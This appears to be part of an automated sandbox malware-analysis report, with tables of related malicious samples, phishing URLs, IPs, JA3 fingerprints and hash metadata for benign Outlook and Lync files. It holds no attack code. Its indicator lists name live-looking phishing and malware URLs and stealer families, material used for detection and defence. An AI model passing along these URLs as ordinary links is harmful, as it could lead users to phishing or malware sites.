	doc023571961503.bat.exe	Get hash	malicious	GuLoader	Browse	94.199.49.32
	file.exe	Get hash	malicious	BazaLoader	Browse	185.225.69.59
	4vn02kPJVZ.exe	Get hash	malicious	LummaC, BazaLoader, LummaC Stealer, SmokeLoader	Browse	185.225.69.59
	file.exe	Get hash	malicious	LummaC, BazaLoader, LummaC Stealer, SmokeLoader	Browse	217.112.131.98
	8f.exe	Get hash	malicious	DanaBot	Browse	185.225.69.33
	Docs-Preview.htm	Get hash	malicious	Unknown	Browse	185.225.70.132
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://ca.docusign.net/Signing/EmailStart.aspx?a=1cdabf46-ff5a-4450-ae28-4b5293077687&etti=24&acct=938a1226-4cc2-4b96-95f9-d33be464ae6b&er=5b95ae4e-7414-40c0-b9fc-e2de228fcc1b	Get hash	malicious	Unknown	Browse	52.235.63.109
	http://www.de-blizzard.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	phish_alert_iocp_v1.4.48 (43).eml	Get hash	malicious	HTMLPhisher	Browse	52.109.76.144
	August Shipment - Inv No. 041.xls	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	52.123.250.48
	https://ca.docusign.net/Signing/EmailStart.aspx?a=f73cd823-d46e-4c1d-9aa7-a3313bd2d402&etti=24&acct=9d2cdf2a-d1fa-4c66-83f5-9dd312af890e&er=68a0e22a-40d9-446a-8837-385c38bcc4d8	Get hash	malicious	Unknown	Browse	150.171.28.10
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://shorturl.at/1l4Xw	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://sway.cloud.microsoft/lKpl4nBPezd0EfSe	Get hash	malicious	Unknown	Browse	52.111.243.45
	https://pub-6a08b05596ae4c139f14fc7b92eb075c.r2.dev/NewOneDrive78.html	Get hash	malicious	Unknown	Browse	13.107.246.60

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://leembal.com.mx	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	New_Document.js	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	New_Document.js	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	GMP Architecture MailBox System shared _PROPOSAL REQUEST PORTAL_ with you.eml	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	http://www.de-blizzard.com	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	VOIR LE DOCUMENT COMPLET.eml	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	http://www.chessmetrics.com/cm/DL/DL9.html	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	https://emp.eduyield.com/el?aid=2idydda0e6c-1865-11ef-80aa-0217a07992df&rid=33766156&pid=771868&cid=497&dest=google.com.////amp/s/codingbeats.com/kaku/qohoc/captcha/bm15ZXJzQHRydXBhcnRuZXJjdS5vcmc=	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	https://nowcheck.mooo.com/	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
	file.exe	Get hash	malicious	Unknown	Browse	2.19.229.151 40.127.169.103 51.104.136.2 40.126.32.68
6271f898ce5be7dd52b0fc260d0662b3	August Shipment - Inv No. 041.xls	Get hash	malicious	Unknown	Browse	13.107.5.88 51.104.136.2
	Bonus_Acknowledgment_Letter.docx	Get hash	malicious	Unknown	Browse	13.107.5.88 51.104.136.2
	http://vfyfmsbonl.weebly.com	Get hash	malicious	Unknown	Browse	13.107.5.88 51.104.136.2
	https://www.linkedin.com/redir/redirect?url=https://assets-usa.mkt.dynamics.com/2143bba1-f463-ef11-a66d-6045bd003910/digitalassets/standaloneforms/3d28dcfa-8464-ef11-bfe2-0022480a9151&urlhash=OzMH&trk=article-ssr-frontend-pulse_little-text-block	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88 51.104.136.2
	https://www.linkedin.com/redir/redirect?url=https://assets-usa.mkt.dynamics.com/da18b4d8-ef63-ef11-a66d-002248282d21/digitalassets/standaloneforms/c645fb5a-f963-ef11-bfe3-7c1e52023edb&urlhash=Dt1u&trk=article-ssr-frontend-pulse_little-text-block	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88 51.104.136.2
	External VM-Transcript Caller Left 3 CALLMSGS 000047Secs 2808.eml.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88 51.104.136.2
	https://appeal-right.netlify.app/	Get hash	malicious	Unknown	Browse	13.107.5.88 51.104.136.2
	infected.html	Get hash	malicious	Unknown	Browse	13.107.5.88 51.104.136.2
	(No subject) (61).eml	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88 51.104.136.2
	(No subject) (60).eml	Get hash	malicious	HTMLPhisher	Browse	13.107.5.88 51.104.136.2

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.45326376692397
Encrypted:	false
SSDEEP:	6:kKXUU48DBlEJFN+SkQlPlEGYRMY9z+s3Ql2DUevat:Pd48kPlE99SCQl2DUevat
MD5:	B0D83200453B39F3FE0F173FD36A302E
SHA1:	2D0FE51C1416622C6D103D8DB36773C271149141
SHA-256:	4BD3BD55721F17086A338A4AA1EFEF80BD9C55CED4D346F9C2767C2CEA3B6683
SHA-512:	82527B7502B0A761577ABE0AC1CA5BE016A50C7DC17404B10D41C64E5E215F5AF01CF8196500B2B78347E9ADF1D10B1BD36F6ADD71E41158B847845586DA15AA
Malicious:	false
Preview:	p...... ........~.t.....(..................................................^SZ.. .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.369953621336798
Encrypted:	false
SSDEEP:	1536:qeYLe5gsssdgSpCAxgs7VNcAz79ysQqt2/VDCqoQW2rcm0Fv+2bywT4er54YHPlx:+AgHcTgCmiGu2cqoQ3rt0Fvq/WjtZBw
MD5:	DE9CB36EB67308596E896C38F647147B
SHA1:	BBCD5BC9067D919AC88562B972CE039C71B95ED3
SHA-256:	947E4A11DC8687EE597178E5FE388DC4A834F95634412489432195B868C45E8B
SHA-512:	FFD7E0C9D323E640ED54697422AB47A4D9CB414922FAC4E39D4D297D767A08E68CC51FA66DF6C80603870FE457211B63B52250788549BEA45E3DF107A2C06461
Malicious:	false
Preview:	TH02...... .............SM01X...,...................IPM.Activity...........h...............h............H..h4.o.....4......h.........7..H..h\cal ...pDat...h8t..0.....o....h...............h........_`Pk...h...@...I.lw...h....H...8.Uk...0....T...............d.........2h...............k;.2.....1.;...!h.............. h#.........o...#h....8.........$h.7......8....."h.>......`>....'h..............1h....<.........0h....4....Uk../h....h.....UkH..h...p...4.o...-h ........o...+h.......(.o......... ...... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	322260
Entropy (8bit):	4.000299760592446
Encrypted:	false
SSDEEP:	6144:dztCFLNyoAHq5Rv2SCtUTnRe4N2+A/3oKBL37GZbTSB+pMZIrh:HMLgvKz9CtgRemO3oUHi3SBSMZIl
MD5:	CC90D669144261B198DEAD45AA266572
SHA1:	EF164048A8BC8BD3A015CF63E78BDAC720071305
SHA-256:	89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
SHA-512:	16F8A8A6DCBAEAEFB88C7CFF910BCCC71B76A723CF808B810F500E28E543112C2FAE2491D4D209569BD810490EDFF564A2B084709B02963BCAF6FDF1AEEC59AC
Malicious:	false
Preview:	51253fe60063c31af0d295afb42228b0:v2:2:1:1590:2:8479:76bd602437550e98c9043d06a55186ab7d95dea5a0e935a599f73e62a8c9b158e0afcb19351f6c353940c06a38172b94d18c02cf92bb8a80184eccca0392b259ab3e71dae73e491c7941997cb36ad4a198661f622dad478d840f66d530a0dde78acea3367f91fff62fbb3dc18faff0c708ad30edef5bea8b22c5fd782b770d8993386eaa784fd19a3c3e1db3b537b1a94d3d4fbd46f8df8fddf6d16611969fe0a97c50e0f3ac24750c93257cf5c161184aa7385800c87d803b339632a3d8ec7fe17a0afd83ce9e9d0e3f7b8d579637928a811f1f7e6d1887df2ddc7d4f752c4d600235e426c92c7bf8a1362f95457998cc0e5d4261f0efa4fada0f866dbcefb407dacab7a2914e91c2f08200f38c2d9d621962145b1464b0f204b326118a53ecdcab22bff005fdd5257c99a6dc51ac0600a49f2ef782396987e78c08b846dad5db55e8ccefffc64863bc2c3e90b95a09d25d0814a848c98fe01a82d4e30e6682dd546e12c45ca0d280a45295ab4bd632dafb070edfdc3c9e38313d5aeb195972986f8011b66817028fd8c78b67a0ac7e780eecc3fb6a31f5a025b8a9a3db278a98c0696aeaac739b18688b0f9c7d751bba02cc5f4e41853fb119b3c0c915059aaa92971244a1989124f12881ca88e6410df70b793a2c3a736ff4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.7219280948873625
Encrypted:	false
SSDEEP:	3:LBdgD:tdC
MD5:	5292B9D96BE3BA3FF9429C90FAFD69F2
SHA1:	4110649EE38BA66A3FC6ED3981A5DCAA1F49443F
SHA-256:	973B03755836662D4942C6C8736EDAD31DE80B2025586551BF717185029EBA1F
SHA-512:	E7776D45898FB4C568FC23F54F9CD54C5B9E147CCB30CFD9435245E0C31FD726327EDB1E7B40C2015B159F8BECC77ABC37A1063B8A4FD6FE41487F39684B7056
Malicious:	false
Preview:	1724876415

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\Lync-16.0.16827.20130-Office-x86ship-U.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	data
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	4.619396243273924
Encrypted:	false
SSDEEP:	3072:M6ZIYvM1cwNv5DqUynEO41hxckczS3lOZGhfKi+xAut:1j
MD5:	02FF86CE39769BAB1E1F1C8871D9623C
SHA1:	6FE756BDBC4FEEECCED394995EECD2EA623B6409
SHA-256:	028FB452D448B506D4FFD0E8072C97C5134BD22C26294C0C6C669D97DF162A93
SHA-512:	9FDFDE8A0C58641D85A40CB4F64D391698BC70FC4976542DDE0067991C6C56ACDCDAE5345DD89B18D50933AC01B9B1924223B3DDBCC973DE25F6C420FC059D4F
Malicious:	false
Preview:	................................................8........................................Es....................eJ..............Zb..,...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..!.Y...........Es............L.y.n.c...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.O.f.f.i.c.e.\.1.6...0.\.L.y.n.c.\.T.r.a.c.i.n.g.\.L.y.n.c.-.1.6...0...1.6.8.2.7...2.0.1.3.0.-.O.f.f.i.c.e.-.x.8.6.s.h.i.p.-.U...e.t.l.........P.P.........:.u................................................................8.B..Es....19041.1.amd64fre.vb_release.191206-1406.....$.@..Es....J.V.M5.B..C.m......d:\dbs\el\omr\target\x86\ship\lync\x-none\ocrec.pdb.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\Lync-AppSharingMediaProvider-0.AppSharingMediaProviderlog

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	606
Entropy (8bit):	3.4477980517022897
Encrypted:	false
SSDEEP:	6:QPsWCovovOVCC8hHWLsZuwg+HyAHHGHIvovRNPsWCQt2z6+Ow:bzowXC8h2Q0DKTHHoIwAzGG6+v
MD5:	5762042B71ECC51B587FDC403B2B2FC2
SHA1:	C1C255D2639625390AB4F524A616CB39FA9867CE
SHA-256:	27960C13665BE0AC7A381BE2F75323054D56B925F031CF3DAB010956B3D844AF
SHA-512:	3B1361176143F725D809902A199D4CA007E1376B3486B3E14E65EA254331D8F647E0A3F4CC89B3DBA4B1EF57BD2663A50853AB286ABB61CE2078BE360F019AFE
Malicious:	false
Preview:	08/28/2024\|16:20:49.249 1FC8:1FCC INFO :: ******************************************************************************..****************************************************************************..####### module=AppSharingMediaProvider flavor=fre version=16.0.16827.20014 ######..####### branch=UNKNOWN architecture=X86 ######..********************************************************************************************************************..**************************************....08/28/2024\|16:20:49.249 1FC8:1FCC INFO :: CAppsharingMediaProvider::StartLogging: tracing enabled..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\Lync-UccApi-0.UccApilog

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1890
Entropy (8bit):	5.116343004998754
Encrypted:	false
SSDEEP:	48:uuGgLc1xMwo+oE+/IQ65QI55Q3jLQVoXJQ1bjmrQ1bjmKQ1bjmnQWEcZQW/hxw:uZg41qwo+oE+gQ65QiQ33QSXJQ1bqrQS
MD5:	D04872C9979D54794A67B84C9D2EDEFE
SHA1:	1ED5C718CAA7EB82BC8C53A0F1BB672033165C0D
SHA-256:	39302F56C91EBEC26C91986B0E6F3B59B6279AD2713260FBBB5188142265F416
SHA-512:	A29B3723C8B67151313C28EF997304CA3D666991268DE7A187E2B4910CC87C0010B6AC0097FD3202FC744173849591F841B22E88893EF2498DFBBF79F94E5740
Malicious:	false
Preview:	08/28/2024\|16:20:49.279 1FC8:1FCC INFO :: ******************************************************************************..****************************************************************************..####### module=UccApi flavor=fre version=16.0.16827.20014 ######..####### branch=UNKNOWN architecture=X86 ######..********************************************************************************************************************..**************************************....08/28/2024\|16:20:49.279 1FC8:1FCC INFO :: CUccPlatform::EnableTracing: tracing enabled..08/28/2024\|16:20:51.794 1FC8:1FCC INFO :: Crop=2 ..08/28/2024\|16:20:51.954 1FC8:1FCC INFO :: ProductID = 0 and VendorID = 0, device is not in the unsupported list...08/28/2024\|16:20:51.954 1FC8:1FCC INFO :: Function: CMediaDevice::InternalQueryDeviceLocation..08/28/2024\|16:20:51.970 1FC8:1FCC ERROR :: HRESULT failed: 80070032 = hr . failed to get device property MM_DP_LOCATION..08/28/2024\|16:20:51.970 1FC8:1FCC WARN

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\WPPMedia\lync_MediaStack-6.0.8968.694-local-x86fre-U.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.686254869789852
Encrypted:	false
SSDEEP:	12:8IBPqF69Fq5DurG/vxuQ1olHWZkR8hlWY/3cQcO+:8qP1k3JiCBhlWosp
MD5:	FE3F76A06C939161517661D44B39F1CD
SHA1:	F877812BA119DFBD0C977E81D1E5C51C73704BA6
SHA-256:	ABDD0729431E08E942C7EDE7E6433717665B9A704CE6E5FD54B5F4E15EE423D2
SHA-512:	D4F8D181DEED40D06633D7B9F3E44EF7D622FE0DC94CAA83E33BA1C603B0416B61B7901CD48A109848E69B7F7DAF197C01F1A620171D36ECA7408A32F8E55272
Malicious:	false
Preview:	. ..........................................................................6............,..... ........ ......eJ..............Zb......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..!.Y...........,.............M.e.d.i.a.S.t.a.c.k...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.O.f.f.i.c.e.\.1.6...0.\.L.y.n.c.\.T.r.a.c.i.n.g.\.W.P.P.M.e.d.i.a.\.l.y.n.c._.M.e.d.i.a.S.t.a.c.k.-.6...0...8.9.6.8...6.9.4.-.l.o.c.a.l.-.x.8.6.f.r.e.-.U...e.t.l.........P.P..........,..... ...............................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\WPPMedia\lync_MediaStackETW-6.0.8968.694-local-x86fre-U.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.7020829448720796
Encrypted:	false
SSDEEP:	12:bVPqF69Fq5DurG/vgyuQ1olHWZkR8hlWgh3cActJ:hP1k3XiCBhlWSsnJ
MD5:	58F1F28C9CFBA805A6BA6D4E10582F18
SHA1:	1F29D5FA37866C35D88B228378B5CBC44DE68FD5
SHA-256:	E2005933CB300071BF94678E275642A548346528530548B92AEAFD34E334EB62
SHA-512:	D0FC5C4CB5C329BC6B52D2735528F51C2FD41567D58CF45517B7B7D5374C81ECC2997C7AE43D49A448143B57E4491AEF716B83D2E60FE47F601B376354DFE54A
Malicious:	false
Preview:	. ..........................................................................B............,..... ........ ......eJ..............Zb..(...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..!.Y...........,.............M.e.d.i.a.S.t.a.c.k.E.T.W...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.O.f.f.i.c.e.\.1.6...0.\.L.y.n.c.\.T.r.a.c.i.n.g.\.W.P.P.M.e.d.i.a.\.l.y.n.c._.M.e.d.i.a.S.t.a.c.k.E.T.W.-.6...0...8.9.6.8...6.9.4.-.l.o.c.a.l.-.x.8.6.f.r.e.-.U...e.t.l.............P.P................ ...............................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	SQLite 3.x database, last written using SQLite version 3023002, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09216609452072291
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpF/4llfll:l9F8E0/
MD5:	F138A66469C10D5761C6CBB36F2163C3
SHA1:	EEA136206474280549586923B7A4A3C6D5DB1E25
SHA-256:	C712D6C7A60F170A0C6C5EC768D962C58B1F59A2D417E98C7C528A037C427AB6
SHA-512:	9D25F943B6137DD2981EE75D57BAF3A9E0EE27EEA2DF19591D580F02EC8520D837B8E419A8B1EB7197614A3C6D8793C56EBC848C38295ADA23C31273DAA302D9
Malicious:	false
Preview:	SQLite format 3......@ .......................................................................... .....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13700485453793962
Encrypted:	false
SSDEEP:	3:7FEG2l+8bS/FllkpMRgSWbNFl/sl+ltlslVlllfllCtn:7+/lD+g9bNFlEs1EP/Stn
MD5:	D22C8F0269318709814F68D543DBA425
SHA1:	EE73716547D8A64532ACEE1E6AB3834CED6A9BA9
SHA-256:	9452F6BD4B478B41DAF90BF0C24BD9326C1B76AAB12BA544B487C5E131D0BC8E
SHA-512:	346F106C02318BA8806D2137CDC47C356E114275D62F12D703DB481D58D63D4662C0A5D3A7A896FF01F13103C136E75BB9EEE80AEEEF01E6DAB2B8FE98E9C4C9
Malicious:	false
Preview:	.... .c......vQq....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ .......................................................................... .................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.0445382698033491
Encrypted:	false
SSDEEP:	3:G4l2KNNAMb14/4l2KNNAMbtslL9//Xlvlll1lllwlvlllglbXdbllAlldl+l:G4l2KAMJ44l2KAMREL9XXPH4l942U
MD5:	360141C3E99027923066231A21DA19FA
SHA1:	F691AA7D1605CD0E7F4E41960734A4AE0B31870E
SHA-256:	1D5CEDA9E29EE4E0D4EBFBB0549EA53F2BD41FEE9E1FF244217D1623AFAB76C8
SHA-512:	AE3BE73E5C094A8729F91E3F181463CA9DDE56323EC354BBA53156ABADEC1ECCBEFB2579FD8FF4730F8E419B5A404FAB742C57A00B59ADB726D0C6569539024A
Malicious:	false
Preview:	..-.......................R!.(..+.v...\..l..Ov....-.......................R!.(..+.v...\..l..Ov..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3951961279617699
Encrypted:	false
SSDEEP:	24:K4VlQ3zRD1dUll7DBtDi4kZERDzE6zqt8VtbDBtDi4kZERDa8O2:ZVlQ17Ull7DYMfNzO8VFDYMWD2
MD5:	4900BE4D177F0635CA297C1191D5E2BE
SHA1:	820D25A4B8DB242425CC3B34A91D6A4AABA60327
SHA-256:	8B612A8A9EA849CB1FB06FCCDD88D9E519E9ADB2FB862CDB7C4D8ADB5522C9F3
SHA-512:	42EB6318179268E2E756391D376BE54A0557EF30878792D35342ADB4E61E6F38505231F359B64CF824B06E3938399A4AE3CE8E9B11779E95293EDBD1E40A7F45
Malicious:	false
Preview:	7....-..........+.v...\.].>-.c.........+.v...\.....<...SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3034001, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09304735440217722
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpEl9Xll:l9F8E+9
MD5:	D0DE7DB24F7B0C0FE636B34E253F1562
SHA1:	6EF2957FDEDDC3EB84974F136C22E39553287B80
SHA-256:	B6DC74E4A39FFA38ED8C93D58AADEB7E7A0674DAC1152AF413E9DA7313ADE6ED
SHA-512:	42D00510CD9771CE63D44991EA10C10C8FBCF69DF08819D60B7F8E7B0F9B1D385AE26912C847A024D1D127EC098904784147218869AE8D2050BCE9B306DB2DDE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13725295831344367
Encrypted:	false
SSDEEP:	3:7FEG2l+UlTaH/FllkpMRgSWbNFl/sl+ltlslN04l9XllUlb:7+/l9lTaBg9bNFlEs1E398B
MD5:	7E604EDB74A5C481188FC71AA4EC07D4
SHA1:	4EA4D823F1F9F9FB93C6EBD1599F6B746B7C5760
SHA-256:	BF7069BF65ACCEBE7E7B651B9A8460786B874B1D5AC776BCA541B6B309339920
SHA-512:	93B9A76CF9D14F598DBB589D242ED17940942E4C7C5B74F8F40C4C61407DCA3E7E4DB34C9EB2A1ED56B441BE95C638537975710A87E1D02FB474A452254E48B5
Malicious:	false
Preview:	.... .c.....36@.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................K.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04482848510499482
Encrypted:	false
SSDEEP:	3:G4l2zFcIAuc94lCl2zFcIAucl1WlL9//Xlvlll1lllwlvlllglbXdbllAlldl+l:G4l20l9tl20llEL9XXPH4l942U
MD5:	3A20D94694A0FC44BE1071DC0A83CD48
SHA1:	B750B941ECAB6420D410559FBC4E5902422BC4E8
SHA-256:	71451D946C65D8A79191D1430E7267B8D7721F17CDA19070679CF08CC221CA9B
SHA-512:	5B3C8ED62177601383DF79E871B89D36E6153BEF1522B25E38973D20F91D90D7A06ED13895A30BDE9A9538F59A0C458104E27AB254D0E50BB8C35351F336ACF8
Malicious:	false
Preview:	..-.....................(l...^..t..J..1....;f..-.....................(l...^..t..J..1....;f........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	45352
Entropy (8bit):	0.39461100578208136
Encrypted:	false
SSDEEP:	48:vA7NAk8QjiAbAeill7DYMiAuAL18xO8VFDYMiAPUAXA:v8DWi6ll4hX81SjVGho
MD5:	1438B58284E4F79A1C65DBBBB2B217B9
SHA1:	C578D80D84749DF429B1F94B228C2126CE033AA0
SHA-256:	ECB88FB3F6ECA8D1079BE217A9B9FA97A61FA6076A33181B37A3B5994671BF24
SHA-512:	86ADA810626126426B4EC01641610051A6260E0B0D1F3FA06FD0EAF1F325D88C4DD8BDC5056BE11817A7BF476DD695265CB6D694A219EAD7752F7B1E720FFDA2
Malicious:	false
Preview:	7....-............t..J.I.....j...........t..J.."..8.V.SQLite format 3......@ ..........................................................................K.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	data
Category:	dropped
Size (bytes):	423818
Entropy (8bit):	5.375342137412923
Encrypted:	false
SSDEEP:	6144:/Myflm+vyJfbnQkK96B88yKv4bWTmTvEiLSu:/MyNm+6dF4/9
MD5:	64A3E7576CF5C372B32425F19E7DA148
SHA1:	33D20D9F1C90BA594F1ED934EDA6F74489B390B9
SHA-256:	57E97D2C6B44FC33263BB6D54C4A856781F92AA0DB9DC9E238DE1F5CF0825AEF
SHA-512:	DC43BECFB76416B959736777883B65823F9F2B0343DF93D9667DB250C51BDB70BE994BCBBC43C316AA743CB81875E5EB6995D7B16A7F877D563CA7D936931A0A
Malicious:	false
